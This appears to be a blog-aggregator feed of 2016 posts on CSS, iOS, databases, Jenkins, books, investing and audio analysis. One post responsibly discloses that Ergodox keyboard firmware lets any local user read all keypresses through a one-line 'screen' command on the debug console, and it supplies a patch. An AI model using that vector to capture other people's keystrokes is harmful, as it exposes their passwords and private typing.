  transition: all 0.3s;
}

.smaller h1 {
  font-size: 1rem;
  margin: 0.5rem 0;
}

I'm a novice when it comes to CSS, so let me know if I'm missing a trick!

The markup for the top header (which has not changed), looks like:

<header class="top-header">
  <h1>...</h1>
  <nav>...</nav>
</header>

To trigger the transition, a little JavaScript is needed to detect when a scroll event occurs. When the page is not scrolled down the header has no additional classes added. When the page is scrolled a class is added to make the header h1 text and margin smaller. When the page is scrolled down and then back to the top, the header h1 text returns to its original size.

var $header = document.querySelector('.top-header');

function checkHeaderSmallText() {
  if (window.pageYOffset > 0) {
    $header.classList.add('smaller');
  } else {
    $header.classList.remove('smaller');
  }
}

window.addEventListener('scroll', checkHeaderSmallText, false);

checkHeaderSmallText();

So why is this progressive? Most importantly, no markup (with the exception of an added script tag in the head) has been added. Browsers with JavaScript disabled or screen readers will interpret the site as they did before. If the feature fails for any reason, or example if deferred scripts or classList are not supported, then an error will be thrown and the header will fail to shrink. Should CSS transitions not be supported, the header will immediately go from the larger to the smaller state on scrolling. These failure modes are acceptable in my opinion.

In the future I have a more elaborate header animation in mind. If you're interested in such things, watch this space!

The Old Man and the Sea

Apurva Shukla's RSS Feed — Sat, 15 Oct 2016 14:23:17 GMT

⭐ ⭐ ⭐ ⭐ ⭐ Alluring and mystical with its simplicity, but boundless and indefinable with its repercussions. Hemmingway crafts a novel that…

Stop HealthKit causing SIGABRT

Caius Theory — Sat, 15 Oct 2016 12:15:00 GMT

You have some crazy idea for an iOS app that uses HealthKit so you fire up Xcode, create a new project & add the HealthKit entitlement. Follow the tutorial to request authorization from the HKHealthKitStore. Hit run to make sure the app compiles and find that it instantly crashes with a SIGABRT in AppDelegate.

Puzzled by this you go over the minimal amount of code you’ve added and pare it right down to just the HKHealthKitStore.requestAuthorization call which is still causing the SIGABRT as soon as the app tries to boot.

The missing piece of the puzzle is Info.plist needs a key adding to it for the HealthKit authorisation screen. The documentation helpfully forgets to mention this however. Here’s some quick simple steps to fix it:

Open Info.plist in Xcode
Click the (+) at the top to add a new key/value to the file
Enter “Privacy - Health Share Usage Description” for the key
Enter a useful message to the user explaining why they should allow access to their healthkit data for your app for the value
Run your app and see the HealthKit authorisation sheet appear

NB: if you want to update/write any data to healthkit, you’ll need to add the “Privacy - Health Update Usage Description” key with a description as well.

2016-10-15/01

ho.dges.online — Sat, 15 Oct 2016 03:00:00 GMT

2016-10-15/02

ho.dges.online — Sat, 15 Oct 2016 03:00:00 GMT

2016-10-15/03

ho.dges.online — Sat, 15 Oct 2016 03:00:00 GMT

A Tale of Two Nows

Pete's Points — Fri, 14 Oct 2016 23:55:35 GMT

I recently endeavored to use an analytics database called pipelindb to build a leaderboard type feature for a client. Pipelinedb is a fork-and-enhance project built on postgresql and most the of magic is presented to the developer in the form of a CONTINUOUS VIEW construct, which is similar to a regular relational table/view but has the ability to efficiently do sliding window queries on big-data data sets.

The sliding window query I needed was along the lines of "show me the players on team X with the highest score in the last day". I'm changing the subject matter here to make it generic, but my requirements were basically that. I had to keep track of daily, weekly, and all-time player scores and be able to find the top N players in combination with some WHERE clauses like WHERE team_id = 42.

This was my first exposure to pipelinedb and working with my team and the docs, I was able to build the feature based on the following structures in pipelinedb:

a stream where rows are inserted as players score

INSERT INTO score_stream
  (player_id, team_id, timestamp)
  VALUES
  (23, 47, '2016-10-13 20:08:17.505233+00');

a continuous view built upon that stream:

CREATE CONTINUOUS VIEW score_by_team_1d AS
  SELECT player.player_id, team.team_id, count(*) AS score
  FROM score_stream ss
  JOIN players ON ss.player_id::integer = players.player_id
  JOIN players_teams pt ON players.player_id = pt.player_id
  WHERE ss.timestamp > current_timestamp - interval '1 day'
  GROUP BY pt.term_id, pt.player_id;

We got it built and deployed and all seemed to be well. But after a while, we started to have some doubts about the resulting data we were getting. The daily high score players weren't changing as much as we would have intuitively expected.

I dug into this a bit using some ad-hoc tooling, dumping results into spreadsheets, and comparing and I also started to see patterns that looked like instead of our sliding windows tracking scores over specific periods like daily and weekly, it looked like they were just accumulating total scores. But it was particularly weird because it wasn't all-time total scores, just totals since some particular date.

With this hypothesis in mind, I went back to the pipelinedb docs and did the classic slow, long facepalm when I found this clause:

PipelineDB exposes the current_date, current_time, and current_timestamp values to use within queries, but by design these don’t work with sliding-window queries because they remain constant within a transaction and thus don’t necessarily represent the current moment in time.

When we had prototyped our queries, they were based upon a function called clock_timestamp() which works properly with pipelindb continuous views. As we finalized the code and switched from proof-of-concept structures to our real structures, I changed that to current_timestamp based on my reading of the postgresql documentation. I thought that was the more appropriate function.

But it turns out I had this wrong. The current_timestamp had only ever evaluated to a single moment in time, specifically when we first launched the feature and ran the CREATE CONTINUOUS VIEW statement. Thus it wasn't computing daily scores, it was computing scores since that specific, fixed moment in the past. Our sliding windows weren't sliding. The query's notion of "now" was not always being re-evaluated to the current moment in time.

The proper fix involved "just" dropping the errant CONTINUOUS VIEW definition and recreating it with the only change being to use clock_timestamp() instead of current_timestamp. This also discarded our current data for 1 day and 1 week intervals, meaning we'd have to wait a week before we could rely on that data again.

However, the realities of production data meant this fix out would take the better part of 2 weeks. Compounding the problem was the fact that a feature such as this that requires careful testing of data results over relatively long periods of time (days, weeks) meant that a severe but easy-to-miss bug such as this could get through dev, QA, and product management and escape detection. It's also a challenge to write automated tests for this. It's not impossible, it's just a lot more involved that testing basic CRUD functionality.

Compiling Lisp to JavaScript from scratch in 350 LOC

λm.me — Fri, 14 Oct 2016 03:00:00 GMT

In this article we will look at a from-scratch implementation of a compiler from a simple LISP-like calculator language to JavaScript.

2016-10-14

ho.dges.online — Fri, 14 Oct 2016 03:00:00 GMT

White Heat
Ribadesella, Spain.

Using iOS Image Picker with React Native

Gosha Spark — Fri, 14 Oct 2016 03:00:00 GMT

Use Jenkins to Run a Function as a Service Platform

Fri, 14 Oct 2016 02:48:00 GMT

Most shops use Jenkins as a continuous integration/delivery solution - the unequivocal primary role for Jenkins. Hidden in plain sight, however, Jenkins also comes with all the tools necessary, right-out-of-the-box, to supply your infrastructure team with a function as a service platform. In fact, Jenkins was doing FaaS long before it was the hot new thing.

We’re Not Landing on the Moon, Are We?

I don’t care what anything was designed to do; I care about what it can do. I found it quiet weird at first using Jenkins for use cases other than development, but as an infrastructure team expected to provide services, it was a very attractive solution for enabling quick service delivery - in this case, a website management portal. Jenkins is the foundation upon which we built layers for enabling self-service interfaces for managing organizational websites. It provided various functions including creating/deleting websites, adding/removing aliases, managing privileges, and some trivial database actions.

Best part of all this, because Jenkins exposes a REST API, this meant not having to grant Jenkins access to users - all they see is a lightweight homegrown web UI that makes backend calls to various Jenkins jobs which do the heavy lifting.

Guide to Get Started

To use Jenkins to create a function as a service, you require:

a function tracked in a repository
a Jenkins job
an HTTP client

To get started, create a new Freestyle project. Your code is stored in a repository somewhere, so set that up under Source Code Management. The linchpin of the entire setup is in the Build Triggers - check the box for Trigger builds remotely (e.g., from scripts) and set an auth token (example: 4UtH70K3N).

Simply setting an auth token is not enough to consider this a secure product. If you are planning to run this in production, you should use a proper auth scheme (e.g. AD, LDAP, OAuth2). A sample setup might look like a PHP web app authenticating to LDAP and being hosted behind an Nginx proxy with TLS communication top-to-bottom.

To execute your function, in the Build step, select Execute shell from the Add build step menu and add whatever command you need to the shell area for executing your function:

python run.py

Essentially, every time a Jenkins build is triggered, Jenkins pulls down the code from your repository and runs whatever you’ve defined in the Execute shell step. To test your callable REST API, fire up an HTTP request:

curl -XPOST http://<jenkins server address>/job/<some_function_job>/build \
    --data token=4UtH70K3N

which will kick off a “build” of your Jenkins job. Pretty trivial, but effective. A common next step is to make your job parameterized - to do so, check the box for This project is parameterized and add parameters whose names ($FOO and $BAR in this example) can be passed into your function code:

python run.py $FOO $BAR

except now, your HTTP request must include those parameters:

curl -XPOST http://<jenkins server address>/job/<some_function_job>/buildWithParameters \
    --data token=4UtH70K3N \
    --data-urlencode json='{"parameter": [{"name":"FOO", "value":"hello"}, {"name":"BAR", "value":"world"}]}'

So turns out, you don’t have to up and move your codebase to Google Cloud Functions or AWS Lambda just to satisfy your “serverless” itch. Neat? Totally. Easy? You bet. Nimble, heavy duty, and scalable? Maybe not so much, but for small solution delivery, Jenkins absolutely gets the job done. It’s all about knowing your growth and constraints. Check out Jenkins documentation for specifics on how to interact with the Remote access API. And for some more details on how I used Jenkins for service automation, check out conference talk on Jenkins for Smarter Operations (or the just slide deck), specifically the Central Web Services and Web Portal sections - thanks Christian and Curry for the wonderful presentation.

Ready Player One

GeekWare - Daniel Pecos Martínez — Thu, 13 Oct 2016 22:49:22 GMT

En el año 2044, el mundo es cada vez más un lugar sombrío, con terribles carencias para la población, razón por la cual, muchas personas escapan de esta realidad participando en el videojuego “Oasis”, entre ellas nuestro protagonista Wade Watts, un adolescente solitario, común y un tanto deprimido que sabe lo afortunado que es por tener un techo, comida suficiente y unas condiciones de vida mucho mejores que la mayoría.

En “Oasis” los jugadores forman comunidades virtuales, y pueden jugar en diversos universos de ciencia ficción (Star trek, Dune, Star Wars, Firefly); sin embargo, Wade está atascado en los niveles más básicos del juego pues no tiene suficiente puntos de experiencia ni dinero virtual para viajar a esos mundos.

El creador del juego, James Hallyday murió muy recientemente, y no tuvo hijos, por lo que decidió dejar su fortuna y el control del juego a quien logre encontrar un easter egg (un mensaje oculto) dentro del juego; ya van 5 años de jugadores buscando el mensaje sin éxito alguno, y la única pista que tienen es que se relaciona a los años 80s, (pues Hallyday estaba obsesionado con esa época).

Es aquí cuando la vida Wade da un vuelco rotundo, al lograr descubrir una pista y avanzar en la búsqueda, ubicándose (con su pseudónimo en el juego llamado Parzival) en solitario en el ranking; esto le da prestigio en el importante mundo de Oasis, pero a la vez cambiará su vida y causará que se vea involucrado en retos y búsquedas que no pertenecen solo al mundo virtual.

Un libro amado por los gamers

Ready Player One se ha convertido en un libro de culto, es muy apreciado por retratar con autenticidad el espíritu de los gamers y su sentido de comunidad; y a la vez por incorporar elementos atrayentes para los amantes de la ciencia ficción y de lo relacionado a la cultura de los años 80s (música, videojuegos, películas, tv, juegos, cultura pop).

En la historia los jugadores de Oasis usan un visor y guantes hápticos (para realidad virtual) para adentrarse en un mundo de gran realismo, donde, a su vez, es posible visitar otros mundos donde pueden o no, usar magia o tecnología; incluso es posible asistir a la Escuela en este mundo virtual.

Próxima adaptación al cine

Además de su atrayente trama, otra razón para leer este libro muy pronto, es que actualmente se está filmando su adaptación cinematográfica, dirigida por el reconocido directo Steven Spielberg. El estreno está planificado para Marzo del 2018 y en el guion está participando el autor.

Entretenimiento para todos

En definitiva, Ready Player One es un libro que logra atrapar a todo tipo de lectores, pues la suma de sus componentes: una buena historia con argumentos sólidos, personajes con los cuales el lector se puede sentir identificado por ser comunes y corrientes, y una búsqueda constante para alcanzar un objetivo tangible; garantizan una lectura divertida y emocionante, que ha atrapado y cautivado a millones de personas alrededor del mundo.

Harry Potter y el Legado Maldito

GeekWare - Daniel Pecos Martínez — Thu, 13 Oct 2016 22:22:29 GMT

La historia del niño que vivió es conocida mundialmente, es referencia cultural y conserva vigencia entre las generaciones que crecieron viviendo el fenómeno de los libros y películas de Harry Potter, y aún logra atraer a muchos nuevos lectores y espectadores, curiosos y ávidos de sumarse a este universo.

Es por eso, que el mundo no puedo recibir el libro “Harry Potter y el Legado Maldito”, con más que inmensas expectativas, luego de casi diez años del final de la saga.

En esta historia, J.K.Rowling nos narra, en forma de obra (el libro corresponde al texto de la obra de teatro que actualmente se presenta en Londres, con el mismo nombre) una historia situada 19 años después de que el trío dorado (Harry Potter, Hermione Granger y Ron Weasley) resulte vencedor contra Voldemort en la Batalla de Hogwarts.

Es el presente y Harry, casado con Ginny Weasley tiene tres hijos, James, Albus y Lily. El hijo del medio, Albus Severus, está por empezar su primer año en Hogwarts junto a Rose Weasley (hija de Hermione y Ron), y no está muy seguro de cómo vivir bajo la sombra de todos los logros, fama y errores de su padre. Lo más peculiar es que Albus, entabla una amistad desde el principio con alguien inesperado, Scorpius Malfoy, el único hijo del conocido Draco Malfoy (enemigo de Harry y su grupo en el tiempo de Hogwarts).

Por su parte, Harry Potter, héroe del mundo mágico, es Jefe del Departamento de Seguridad Mágica, y sumado a los retos que presenta este trabajo, debe lidiar con las diferencias que tiene con su hijo Albus Severus; y con hechos del pasado que insisten en seguirlo y generar conflictos que pueden tener graves consecuencias para todo el mundo mágico, incluyendo viajes en el tiempo, que como sabemos, pueden alterar gravemente lo ocurrido en pasado, presente y futuro, permitiendo la reaparición de enemigos derrotados, como Lord Voldemort.

Una historia que nunca muere

En palabras de su autora “Ninguna historia vive al menos que alguien quiera escucharla” y en definitiva, todo el universo de Harry Potter, sus incontables aventuras, sus personajes, aún tienen vigencia y causan interés, es por eso que el libro Harry Potter y el Legado Maldito ha sido esperado con tantas ansias, no solo por los seguidores y fanáticos; sino también por el mundo literario, curioso por saber que le ha deparado el futuro a la historia del mundo mágico y que novedades ha incorporado su escritora.

Algunos fanáticos de la serie se han mostrado un poco preocupados, pues no están seguros de que Harry Potter y el Legado Maldito esté a la altura de la saga original, y sabemos que difícilmente logre complacer a todos los lectores, pues parte de la magia es lo que cada quien imagino que ocurría con los personajes luego de Harry Potter y las Reliquias de la Muerte; sin embargo, esa sensación cálida de volver a un viejo amigo, al empezar las páginas del que sería el octavo libro en la serie, de seguro estará presente para todos.

Mit FFMPEG Videos für Web optimal speichern, nur heute, nur jetzt

Blogs on Michail Rybakov — Thu, 13 Oct 2016 17:07:46 GMT

Wer Videos über Vimeo oder youtube publiziert, muss sich mit solchen Fragen nicht beschäftigen. Für die zwei Leute, die selber noch Videos in mp4 konvertieren um sie dann in ihre Webseiten einbinden ist es vieleicht interessant.

Also vielleicht interessant zu erfahren, dass ich lange Zeit es falsch gemacht habe mit direkten Exporten aus FinalCut oder MPEGStreamclip. Es geht besser mit ffmpeg.

FFMPEG kann man recht leicht mit Homebrew installieren, wie man alles so leicht mit homebrew installieren kann.

Und dann im Terminal zum gewünschten Ordner navigieren und FFMPEG ausführen mit den Zauberoptionen:

ffmpeg -vcodec libx264 -vf "format=yuv420p" -preset slow -tune film -crf 25 -maxrate 4000k -bufsize 1000k -movflags +faststart -y videooutput.mp4 -i video.mov

Dies konvertiert video.mov in h264 mit guter Qualität und einer variablen Bitrate die nach oben hin auf 4Mbit begrenzt ist.

Im Einzelnen bedeutet es:

Just a video demonstration

Erico Notes — Thu, 13 Oct 2016 02:23:29 GMT

This is just a video of the FGMK making a chest by modifying the tile map.

One of the important concepts is that you are free to edit any tile - the building blocks of the these 2D world - in any place in the map, and it's ok to do it.

FGMK

Links to Get Started with React and Redux

Daniel Little Dev — Thu, 13 Oct 2016 01:38:46 GMT

Getting started to React and want to get right to it? These are the links you're looking for. What you need! First up you’ll need Node…

JavaScript Air Async Patterns

Pete's Points — Wed, 12 Oct 2016 21:47:16 GMT

I just had the pleasure of being a guest on the JavaScript Air podcast/screencast. It's episode 044 "Async Patterns in JavaScript".

Watch the episode and I hope you enjoy it! We had a great discussion and covered many aspects of asynchronous programming in JavaScript including Events, Streams, Callbacks, Promises, Generators, Coroutines, Observables/RxJS, Async/Await and more.

We're getting started! https://t.co/gfKCxXzavh 🚀 Big announcment in this one, you wont want to miss. #JavaScriptAir #jsAirQuestion pic.twitter.com/4iTsiIiZEe
— JavaScript Air (@JavaScriptAir) October 12, 2016

Security of the Infinity Ergodox on Mac OS

ntietz.com blog - technically a blog — Wed, 12 Oct 2016 03:00:00 GMT

A friend of mine is very into keyboards and, after seeing his keyboards at work and admiring his Ergodox many times, I took the plunge and built my own. 152 solder joints later, I have this beauty:

It took a few days to get used to it and in the process, I found a bug in layer switching, which I contributed a fix for. While fixing it, I came across some very cool debugging features - the keyboard has a console which gives debug info and is very easy to connect to:

screen /dev/tty.usbmodem1A12144

This console gives a lot of debugging information, and it turns out that it can show every key press! Neat, until you realize that any user of the system can also see every single key press. A non-privileged test user on my Mac¹ was able to read every key press I made while typing as my normal user.

This is a huge breach of security. I routinely create accounts on my desktop for other people (my fiancée, my friends who are learning to code), so this is simply an unacceptable risk. This is present in keyboards built with custom firmware, but also on the firmware that ships with the keyboard or is downloaded from the online configuration tool.

Fortunately, the firmware was created to be pretty modular, and it is easy to turn this functionality on or off by adding just a few define guards:

#if defined(DEBUG)
// Enable CLI
CLI_init();
#endif

// ...

#if defined(DEBUG)
// Process CLI
CLI_process();
#endif

What this does is turn off initialization and processing of the CLI. It is still there, sitting in the background - and there might still be more security risks with it - but the obvious attack vector is gone.

On October 10, 2016, I submitted an issue to address this, and a corresponding pull request. Following a discussion with Haata (the maintainer of the firmware), we decided to pursue adding an option to have a security-hardened mode, as well as adding a passcode to enable to console on non-hardened keyboards.

My personal recommendation is to apply my patch to your firmware if you are using OS X². On Linux, you shouldn't have to patch anything immediately, since accessing the console requires sudo permissions.

Stay posted for more updates! I hope to have the first pass at the security-hardened mode out during October, and hopefully the corresponding configurator changes can follow shortly after.

+++

¹ I verified the issue exists on OS X, but it does not exist in Linux since you need root access to access the console. However, the documentation suggests adding a udev rule file which does give read permissions to everyone without sudo, so many Linux users are likely vulnerable. ² You can get the patch from my pull request, it works and is only closed because it is not the long-term solution. I'm using it myself for now. If you need help, email me or tweet at me.

Diversificar inversiones para aumentar nuestra tranquilidad

GeekWare - Daniel Pecos Martínez — Tue, 11 Oct 2016 07:59:58 GMT

Antes de asumir el riesgo que supone la inversión en Bolsa, quise asegurarme de que era el modo que quería utilizar para sacar rendimientos a mis ahorros. Todo el mundo sabe que invertir en bolsa es algo arriesgado y en aquel momento prefería optar a un rendimiento menor a cambio de una mayor seguridad de retorno de mi dinero.

¡Manos a la obra! Acto seguido empecé a bucear por las páginas de inversión de las entidades bancarias con las que trabajo e ir extrayendo una lista de productos tipos a fin de poder investigar sobre cada uno de ellos y las condiciones que les aplican. Tras unas horas de investigación conseguí la siguiente lista de productos:

Depósitos
Fondos de inversión
Seguros de ahorro
Planes de pensiones
Bolsa
Y alguno más… (Tranquilos, en posteriores artículos entraré en detalle con cada uno de ellos)

¿Por cuál decidirme? Cada uno tenía sus ventajas e inconvenientes. Tras mucho leer en foros, llegué a una línea argumental bastante común: diversificar las inversiones, no sólo decidiendo en qué empresas invertir, sino en qué productos utilizar. De esta forma, repartiendo tus ahorros en distintos productos, consigues una mayor seguridad financiera. En general, no resulta conveniente poner todos los huevos en la misma cesta.

El problema que le vi a este enfoque, es que, a parte de conservador, requería un capital considerable, puesto que la diversificación lo repartiría en montoncitos de menor tamaño. En mi caso era poco viable debido a los ahorros de partida, por lo que a pesar del consejo, decidí centrarme en la inversión en bolsa.

Por último y antes de terminar, quería comentaros un par de opciones que me resultaron de especial interés (por su novedad) y que recuperé a través de contactos, foros y blogs especializados en inversión:

Inversión inmobiliaria: y no hablo de comprar un piso asumiendo una hipoteca (y sus intereses) con el fin de venderlo en un futuro, sino de compras en comunidad (crowdfunding), por decirlo de algún modo, que permiten destinar parte de nuestro dinero a la compra de una vivienda real, rehabilitarla, alquilarla durante un determinado tiempo, repartiéndose el importe del alquiler entre los propietarios (a modo de dividendo) para finalmente vender la vivienda y repartir beneficios. Personalmente, conocía el crowdfunding, pero no lo había visto todavía aplicado a la compra / venta inmobiliaria. Realmente me pareció muy interesante, y puesto que no hay un mínimo para participar, resulta una opción a considerar. Para más detalles, consultad la web de Housers (gracias a mi amigo Fidel Añó por comentarme este tipo de inversiones!)

Inversión en negocios en fases iniciales (a.k.a startups): sin duda es la opción que más retorno puede producir, pero también la más arriesgada. Por Silicon Valley se dice que más del 90% de las startups resultan fallidas. Lo suyo es, una vez más, diversificar en distintas startups y buscar ese 10% que cubra al resto de inversiones fallidas y retorne un beneficio. Y sobre todo, tratar de encontrar aquella que se convierta en unicornio (se valore en más de 1.000 millones de $), lo cual no es tarea fácil. Aún así, si dispones de una cantidad importante de ahorros, y dado el efecto social que genera este tipo de inversión (creación de autoempleo, fomento del emprendedurismo, buena publicidad al inversor, etc) resulta una opción a tener en cuenta.

Sin duda el momento actual de crisis por el que estamos pasando, aumenta la creatividad de las personas, y no sería nada raro ver nacer nuevos tipos de productos o proyectos inversión como el de Housers.

Permanezcamos atentos, lo bueno puede estar por venir.

The Nazis and The Bicyle Riders by Rabbi Lionel Blue

ho.dges.online — Tue, 11 Oct 2016 03:00:00 GMT

The Nazi said to the Jew: “The Jews are responsible for all Germany’s problems.”
“Yes,” said the Jew, “the Jews and the bicycle riders.”

“Why the bicycle riders?” said the Nazi, puzzled.

“Why the Jews?” said the Jew.

Maze Editing

TOGoS's Project Log — Mon, 10 Oct 2016 21:13:37 GMT

The main points of the second presidential debate

Blogs on Michail Rybakov — Mon, 10 Oct 2016 17:07:46 GMT

Hillary Clinton and Donald Trump at the second debate.
I don’t think they like each other too much.

Catch-22

Apurva Shukla's RSS Feed — Mon, 10 Oct 2016 13:50:27 GMT

⭐ ⭐ ⭐ ⭐ ⭐ Scintillating with acerb and wit, Heller entertains us wonderfully, beautifully, and unimaginably. I can relate to the fellow…

Fat Albert

Nicholas Pilkington — Mon, 10 Oct 2016 03:21:16 GMT

I was watching the Fleet Week display by the Blue Angels yesterday and we were talking about if you could determine where an aircraft was based on the sounds you were hearing from the engine.

Say we have an aircraft at some unknown position flying at a constant linear velocity. If the engine is emitting sound at a constant frequency and as soon as we start hearing the engine we start recording the sound. Then given just that audio let’s try and determine how far away the aircraft is and how fast it’s traveling. Here’s a generated sample recording of a source starting 315.914 meters away and traveling at 214 meters per second in an unknown direction.

First let’s make a simplification. We can rotate our frame of reference such that the aircraft is traveling along the x-axis from some unknown starting point. If we look from above the situation looks like this.

When working with audio the first thing to do would probably be to plot the spectrogram and see if we can gleam anything from that. The spectrogram of a WAV file can be plotted using this code:

Fs, audio = scipy.io.wavfile.read('audio.wav')
MAX_FREQUENCY = 2000
pylab.figure(facecolor='white')
pylab.specgram(audio, NFFT = 1024, Fs=Fs, cmap=pylab.cm.gist_heat)
pylab.ylim((100,MAX_FREQUENCY))
pylab.xlim((0,1.1))
pylab.xlabel('Time (s)')
pylab.ylabel('Frequency (Hz)')
pylab.show()

and the result spectrogram which shows the power spectrum of the received signal as a function of time looks like this.

This looks great. Most importantly you can see the Doppler Effect in action because the sound waves are compressing in the direction of the observer. This implies that the aircraft is moving towards us. Other than that there isn’t much that can be gained here. We can look at the inflection point of the spectrogram and infer that this is the point where the aircraft is passing perpendicular to us which corresponds to the actual frequency that the engine is emitting which in this case looks like about 500 Hertz. However we can’t assume that the aircraft will pass us so we probably can’t even take that.

Let’s try something different. Let’s analyze this in the time domain instead. When the aircraft starts emitting sounds at some real time t that sound takes a while before it arrives at the observer. This delay depends on the distance from the observer and the speed of sound. When this first bit of audio arrives at the observer which is t=0 but in “receiver time” the aircraft has already been flying for a while. So this first piece of audio corresponds to a previous location. We don’t know what this delay is because we don’t know how far away the plane way. Since the frequency of the sounds we are receiving are changing because of the Doppler Effect we can’t really rely on frequency analysis either. Let’s instead zoom in and look at the zero-crossings of the signal.

The zero-crossing are the points in time that the signal (regardless of frequency) cross the x-axis. In “real time” there will be a number of times when this happens and they will be constantly spaced by 1/(f*2.0) where f is the frequency of the sounds emitted by the engine. However when we receive the signal and the aircraft is traveling towards us - it will be squashed, and have shorter time between zero-crossings and then further apart as the aircraft flies away. So the signal get’s concertinas in a specific way. Here’s an exaggerated diagram of what is being emitted and what is being received when:

Let’s say the plane is traveling with a speed of v parallel to the x-axis. So its x-coordinates at time t is x0 + v * t (some unknown starting point) and its y-coordinate is R (some unknown distance). Here t is the real time when the signal is emitted. The time for this signal to reach us is:

import numpy as np

def reach_time(x0, v, t, R):
    c = 340.29  # speed of sound
    dt = np.sqrt((x0 + v*t)**2 + R**2)/c
    return dt

The time stamp in received time is just just reach_time(x0, v, t, R) + t - t0 where t0 is the initial and unknown delay for the first signal to reach us. From this we can get the timestamp of the nth zero-crossing knowing that the source frequency is fixed.

import numpy as np

def nth_zero_crossing(n, x0, v, R, f, n0):
    c = 340.29  # speed of sound
    f2 = 2.0*f
    return (np.sqrt((x0 + v*n/f2)**2 + R**2)/c + (n - n0)/f2)

So we’ve got a model that maps the time of a zero-crossing at the source to the time of a zero-crossing in our WAV file. This is a mapping of zero-crossings in the source to zero-crossing in the received signal. Which are the orange lines in this image:

Now we need to extract the zero-crossings from the WAV file so we can compare. We could use some more advanced interpolation but since there are 44100 samples per second in the audio file the impact on the resulting error term should be small. Here’s some code to extract the time of each zero-crossing in an audio file.

import scipy
import numpy as np

Fs, audio = scipy.io.wavfile.read(fn)
audio = np.array(song, dtype='float64')

# normalize
audio = (audio - audio.mean()) / audio.std()

prev = song[0]
ztimes = [ 0 ]

for j in xrange(2, song.shape[0]):
    if (song[j] * prev <= 0 and prev != 0):
        cross = float(j) / Fs
        ztimes.append(cross)
    prev = song[j]

This gives us a generative model where we can select some parameters of the situation and using the nth_zero_crossing compute what the received signal would look like. This puts us in a good position to create an error function between the actual (empirical) data in the audio file and the generated data based on our parameters. Then we can try and find the parameters that minimize this error. Here some code that computes the residue of our generates signal:

import numpy as np

def gen_received_signal(args):
    f2, v, x0, R, n0 = args
    n = np.arange(len(ztimes))
    y = (np.sqrt((x0 + v*n/f2)**2 + R**2)/c + (n - n0)/f2)
    error = np.array(ztimes) - y
    return error

Using a non-linear least squares solver like Levenberg Marquardt we can search for the parameters that best explain our data.

import numpy as np
from scipy.optimize import least_squares

f2 = 1600
v = 100
x0 = -100
R = 10
n0 = 100

args = [f2, v, x0, R, n0]
res = least_squares(gen_received_signal, args)
f2, v, x0, R, n0 = res.x

# compute the initial distance
D = np.sqrt(x0**2+R**2)

print 'Solution distance=', D, 'x0=',x0, 'v=',v, 'f=',f2/2.0

Out of this pops the solution and more. It has also accurately computed the source frequency given some bad initial guesses. Since we aren’t assuming anything about the change in frequency this approach also works when the aircraft does not pass us and is only recorded on approach or flying away from us. In reality the sound would attenuate quadratically over distance but that should not impact this solution because we don’t use amplitudes.

Love, Love Is A Verb

ho.dges.online — Mon, 10 Oct 2016 03:00:00 GMT

![[2022-02-07-004.jpg]]

Love, Love is a Verb. Love is a doing word

Measuring userfaultfd page-fault latency

Noah Watkins — Mon, 10 Oct 2016 03:00:00 GMT

How fast can my application service its own page fault?

Elixir ETS + Mnesia vs Redis

Brightball Articles — Sun, 09 Oct 2016 03:00:00 GMT

Learning Elixir has a way of challenging everything you know about programming. Redis is becoming an assumed part of many web stacks, in the same breath as your database. But with Elixir, do you need it? Do you even need a database?

Into the Wild: A Review

Playground — Sun, 09 Oct 2016 03:00:00 GMT

I once heard on a podcast that, when you like something, make it a practice to think of the reason(s) why you like it. If I remember it correctly, this was a strategy to keep your sceptical nature in check. Anyway, sceptical or not, I think this is a good practice.

Singapore travel bookmarks

xenodium.com @alvaro — Sat, 08 Oct 2016 03:00:00 GMT

Remote execution in mgmt

The Technical Blog of James on purpleidea.com — Fri, 07 Oct 2016 18:33:17 GMT

Bootstrapping a cluster from your laptop, or managing machines without needing to first setup a separate config management infrastructure are both very reasonable and fundamental asks. I was particularly inspired by Ansible’s agent-less remote execution model, but never wanted to build a centralized orchestrator. I soon realized that I could have my ice cream and eat it too.

Prior knowledge

If you haven’t read the earlier articles about mgmt, then I recommend you start with those, and then come back here. The first and fourth are essential if you’re going to make sense of this article.

Gmail Buddy, aka "The Internet of Things we do NOT need"

Welcome to Marco Fioretti's website! on Stop at Zona-M — Thu, 06 Oct 2016 09:42:03 GMT

an Internet of Things that we definitely don’t need

there is a project, over at Seeed, that is a good example of a really (too) large category of projects that I really do not get. At least, I don’t get why they should have anything like “smart” or “smarter” in their name. I’m talking of

Padre Rico, Padre Pobre

GeekWare - Daniel Pecos Martínez — Thu, 06 Oct 2016 08:00:09 GMT

Intentar abordar desde el desconocimiento una técnica de inversión para conseguir revalorizar tus ahorros, está desde mi humilde punto de vista, destinado al fracaso. ¿Por qué tropezar con piedras con los que otros ya lo han hecho y además han explicado el camino que llevaban y sus consecuencias? (Una de las referencias que personalmente suelo utilizar para conseguir consejo es precisamente mi padre, al igual que el autor de este libro, y supongo que muchos otros más).

Es por ello que ya desde un primer momento decidí que parte de los ahorros tenía que destinarlos al aprendizaje sobre inversión, empezando por libros introductorios a este mundo. Pero no creas que resulta fácil. Existe mucha literatura que trata el tema de la inversión, y mucha de ella, de baja calidad o refritos de otros libros.

Por lo que tras leer algunos comentarios, decidí comenzar con éste:

Padre Rico, Padre Pobre

En este libro el autor narra cómo desde muy joven se introdujo en el mundo de la inversión, y las disyuntivas que se le planteaban entre su padre biológico (Padre Pobre) y el padre de su mejor amigo (Padre Rico). Padre Rico era un empresario de su pueblo natal que le enseñaría a comprender los flujos del dinero y la forma de pensar de las personas acerca del dinero y el trabajo.

Es un libro realmente ameno y fácil de leer, y aunque está escrito para un entorno legal americano (hay algunos puntos legales que en España no son trasladables), me resultó clarificador y sobre todo motivante.

Mi valoración personal (escala de 0 – Nada recomendable a 5 – ¿Cómo es posible que no lo tengas?): 4

Clean Tea - Part II

Craig Pardey — Thu, 06 Oct 2016 03:00:00 GMT

This is a continuation of my post about clean tea, except this time I analysed the offerings from Teavana® (a Starbucks company).

Teavana® by the numbers:

101 teas (excluding kits and samplers)
70 contain sugar and/or flavourings
31 caffeine-free
4 had no ingredients listed

So I filtered the list to only show teas with:

No caffeine
No sugar
No flavourings

Only one tea on the Teavana® menu passes my filter for what I would consider to be “clean”. It is … (drum roll) …

Yahoo, or why geeks need to give ALL their friends a PERSONAL email server now

Welcome to Marco Fioretti's website! on Stop at Zona-M — Wed, 05 Oct 2016 10:35:19 GMT

By now, you probably already know that Yahoo scanned customer emails for U.S. intelligence", and if you haven’t you can read all the details in the previous link, or in many other places. Here, I only want to

Links - October 5th, 2016

Avy Faingezicht — Wed, 05 Oct 2016 03:00:00 GMT

